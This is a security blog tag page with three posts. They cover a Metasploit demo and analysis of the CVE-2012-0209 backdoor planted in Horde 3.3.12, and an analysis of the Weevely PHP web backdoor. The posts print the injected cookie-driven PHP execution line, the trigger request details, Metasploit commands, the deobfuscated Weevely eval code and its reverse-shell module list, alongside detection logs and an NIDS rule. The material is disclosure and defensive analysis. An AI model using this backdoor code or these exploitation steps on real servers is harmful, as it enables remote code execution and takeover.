Posts tagged Backdoor

CVE-2012-0209 Horde 3.3.12 Backdoor Metasploit Demo

Timeline :

Public release of the vulnerability the 2012-02-13
Details of the vulnerability and first PoC disclosed by Eric Romang the 2012-02-15
Metasploit PoC provided the jduck 2012-02-16

PoC provided by :

Eric Romang

Reference(s) :


Affected version(s) :

Horde 3.3.12 downloaded between November 15 and February 7
Horde Groupware 1.2.10 downloaded between November 9 and February 7
Horde Groupware Webmail Edition 1.2.10 downloaded between November 2 and February 7

Tested on Ubuntu 11.10 with :

Horde 3.3.12

Description :

This module exploits an arbitrary PHP code execution vulnerability introduced as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.

Commands :

use exploit/multi/http/horde_href_backdoor
set VHOST devnull.zataz.loc
set PAYLOAD cmd/unix/generic 
set CMD uname -a

CVE-2012-0209 Horde backdoor analysis

The 13/02 Horde team has release a security alert concerning their products. An unknown intruder has hack the FTP server of Horde since minimum November 02 2011 and has manipulate three Horde releases to allow unauthenticated remote PHP execution. The intruder has maintain access to the servers until February 7. The issue is currently tracked through CVE-2012-0209.

The affected releases are:

  • Horde 3.3.12 downloaded between November 15 and February 7
  • Horde Groupware 1.2.10 downloaded between November 9 and February 7
  • Horde Groupware Webmail Edition 1.2.10 downloaded between November 2 and February 7

Horde 4 is not affected, the CVS and Git repositories seem to not be affected, but some Linux distributions how have download the code source from the Horde FTP server are affected. Horde team is providing version 3.3.13 for Horde, 1.2.11 for Horde Groupware and Horde Groupware Webmail Edition to remove the discovered backdoor and has also clean the FTP server.

After some researches, I found two vulnerable Linux distribution how are delivering the backdoored Horde 3.3.12. These distributions are Ubuntu precise, Debian wheezy and sid. Fedora Rawhide doesn’t seem to be impacted unless the distributed version is also 3.3.12, same for OpenSUSE 12.1. Gentoo, Mandriva and Slackware doesn’t seem to deliver this version. The impact through Linux distribution should be not so important. Only users how have download the source code from FTP are mainly affected.

The backdoor is located, for Horde 3.3.12, in the “templates/javascript/open_calendar.js” script.

link.href = '# php (isset($_COOKIE["href"]) && preg_match("/(.*):(.*)/", $_COOKIE["href"], $m))?$m[1]($m[2]):"";?>';

Take a look on the following Pastebin for the diff between a clean and a backdoored 3.3.12 version.

As you can see, if the cookie contain an array named “href” and if the content of the href variable look like to, for example, “shell_exec:’uname -a’“, the PHP function will be executed. Now that we have found the backdoor, how is this backdoor activated ?

All my previous analysis were false, after trying to exploit without success the backdoor, I have finally discover the vulnerable script.

The vulnerable script is “/services/javascript.php“. If you take a look a the script you can see that you need to do a POST request with two variables on the top of the necessary cookie.

$app = Util::getFormData('app', Util::nonInputVar('app'));
$file = Util::getFormData('file', Util::nonInputVar('file'));
if (!empty($app) && !empty($file) && strpos($file, '..') === false) {
$script_file = $registry->get('templates', $app) . '/javascript/' . $file;
if (file_exists($script_file)) {
$registry->pushApp($app, false);
$script = Util::bufferOutput('require', $script_file);
if ($send_headers) {
header('Cache-Control: no-cache');
header('Content-Type: text/javascript');
echo $script;

app” variable is one of the application how is active on the Horde installation, the applications are configured in the “/config/registry.php” file.

$this->applications['horde'] = array(
'fileroot' => dirname(__FILE__) . '/..',
'webroot' => _detect_webroot(),
'initial_page' => 'login.php',
'name' => _("Horde"),
'status' => 'active',
'templates' => dirname(__FILE__) . '/../templates',
'provides' => 'horde',

file” variable should be the backdoored JavaScript file aka “open_calendar.js“. After that you have provide the two variables and the “href” cookie, the backdoor is executed. I have develop a PoC in order to exploit the backdoor. You can find this PoC on my Pastebin.

Weevely Stealth Tiny PHP Backdoor Analysis

@adulau has sent a tweet about a stealth tiny PHP backdoor named Weevely how is pretending to be unobtrusive and not detectable by NIDS, anti-viruses and log review activity. Weevely simulate a telnet-like session, if you communicate with the backdoor through HTTP, or ssh-like session, if you communicate with the backdoor through HTTPS.

Weevely is a python program how will permit you to generate a “server” PHP code in order to trojanize a Web server and take control of it. After a successful application Web attack exploitation, through for examples, RFI, LFI or MySQL LOAD INFILE, you only need to upload the “server” PHP code on the target, and your local Weevely python script will use the “server” PHP code in order to transmit orders.

All commands are sent through hidden datas in HTTP referrers and these commands are using dynamic probe of system-like functions to bypass PHP security restrictions. Weevely try to bypass PHP configurations that disable sensible functions who execute external programs, enabled with the disable functions option located in php.ini.

Weevely Server Code Analysis & Fingerprinting

The “server” PHP code look like this:

As you see the code is obfuscated in base64 and the result of the deobfuscation is:

ini_set('error_log', '/dev/null');parse_str($_SERVER['HTTP_REFERER'],$a);if(reset($a)=='my' && count($a)==9) {echo '';eval(base64_decode(str_replace(" ", "+", join(array_slice($a,count($a)-3)))));echo '';}

The script is forcing PHP to send the script error to “/dev/null“, parse the HTTP referrer and decode the commands with the provided password.

If you test the “server” code on Virustotal, only 1 on 43 anti-viruses is detecting the code as a malware. But the code obfuscation method is basic and the code is only encoded 1 time. Surely in a near future most of the anti-viruses will detect it.

Actually most of common PHP backdoors, like c99, STUNSHELL, etc., embed the complete malware code and obfuscate the code with basic methods. The HTTP referrer Weevely approach is quiet interesting and new, the code is no more embedded but dynamic.

But some common PHP backdoors are now obfuscated with more complex methods, like “gzinflate(str_rot13(base64_decode(‘malware’)))” and encoded more than 10 times. These codes are only detected by few anti-viruses, like this one on Virustotal.

On the Web server side, when a Weevely command is sent to the “server” PHP code you will see this typical kind of logs in your access.log file. - - [11/Oct/2011:00:44:25 +0200] "GET /mybb/readme.php HTTP/1.0" 200 237 " readme&ei=ZWNob&usg=yA1Nz&sig2=ExNjs=" "Python-urllib/1.17, Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv: Gecko/20070725 Firefox/"

You can see that the HTTP referrer is and that the command is encoded. If you compare Weevely HTTP referrer to a normal HTTP referrer, here under, you can see that they are really few differences. It is clearly impossible to distinguish a valid HTTP referrer with a forged one. - - [11/Sep/2011:20:45:52 +0200] "GET /2011/02/06/cve-2010-3867-proftpd-iac-remote-root-exploit/ HTTP/1.1" 200 11751 "" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"

Unfortunately for Weevely authors the Python User Agent is recognized by basic NIDS rules like Emerging Threats (SIG 2013031).

Oct 11 22:31:27 fw3 snort[4069]: [1:2013031:1] ET POLICY Python-urllib/ Suspicious User Agent [Classification: Attempted Information Leak] [Priority: 2] {TCP} ->

Also unfortunately for Weevely authors, if you have PHP safe_mode enabled, you will also have this typical kind of logs in you error.log file. A regular Log review activity will detect this kind of errors.

[Tue Oct 11 00:44:25 2011] [error] [client] PHP Warning:  ini_set(): SAFE MODE Restriction in effect.  The script whose uid is 33 is not allowed to access /dev/null owned by uid 0 in /var/www/mybb/readm
e.php(1) : eval()'d code on line 1, referer: readme&ei=ZWNob&usg=yA1Nz&sig2=ExNjs=

The actual Weevely version is identifiable by NIDS through the User Agent or by regular Log review activity, but clearly the approach is really interesting and future version

Weevely Usage

  • Invoke Weevely help

To invoke Weevely help you only need to execute the following command :

  • Weevely server code generation

To generate the “server” code you only need to execute the following command, where “mypassword” is you desired password and “readme.php” the backdoor PHP file how need to be uploaded on the target Web server.

  • Start a telnet or ssh like session and exploitation

To start a telnet-like (HTTP) or ssh-like (HTTPS) session you only need to execute the following command :

As you see in the screenshot the interpreter is “” how allow you to execute shell commands. The other interpreter is “shell.php” how will allow you to execute PHP commands. You can also invoque the backdoor help with the “:help” command. Here under the list of modules with they’re methods.

[backdoor] [reverse_tcp] Send reverse shell using TCP socket
           :backdoor.reverse_tcp ip port

[sh] Execute system commands ""

 Execute single PHP commands
        :shell.php ";"

[find] [perms] Find files with write, read, execute permissions
       :find.perms first|all file|dir|all w|r|x|all 

       [webdir] Find writable directory and get corresponding URL

       [suidsgid] Find suid, sgid, or every file with superuser flag
       :find.suidsgid suid|sgid|all 

       [binaries] Find executables in common PATH folders
       :find.binaries all | 

       [name] Find files with name that match string
       (e=equal, ei= equal case insensitive , c= contains, ci= contains case insensitive) e|ei|c|ci  

[file] [read] Read file outside web root using different techniques 

       [download] Download remote binary/ascii files  

       [upload] Upload local binary/ascii file using POST method

       [check] Check remote files presence, type, md5 and permissions
       :file.check  exists|file|dir|md5|r|w|x

[system] [info] Collect system informations all|whoami|hostname|basedir|document_root

         [users] Enumerate system users using different techniques
Go to Top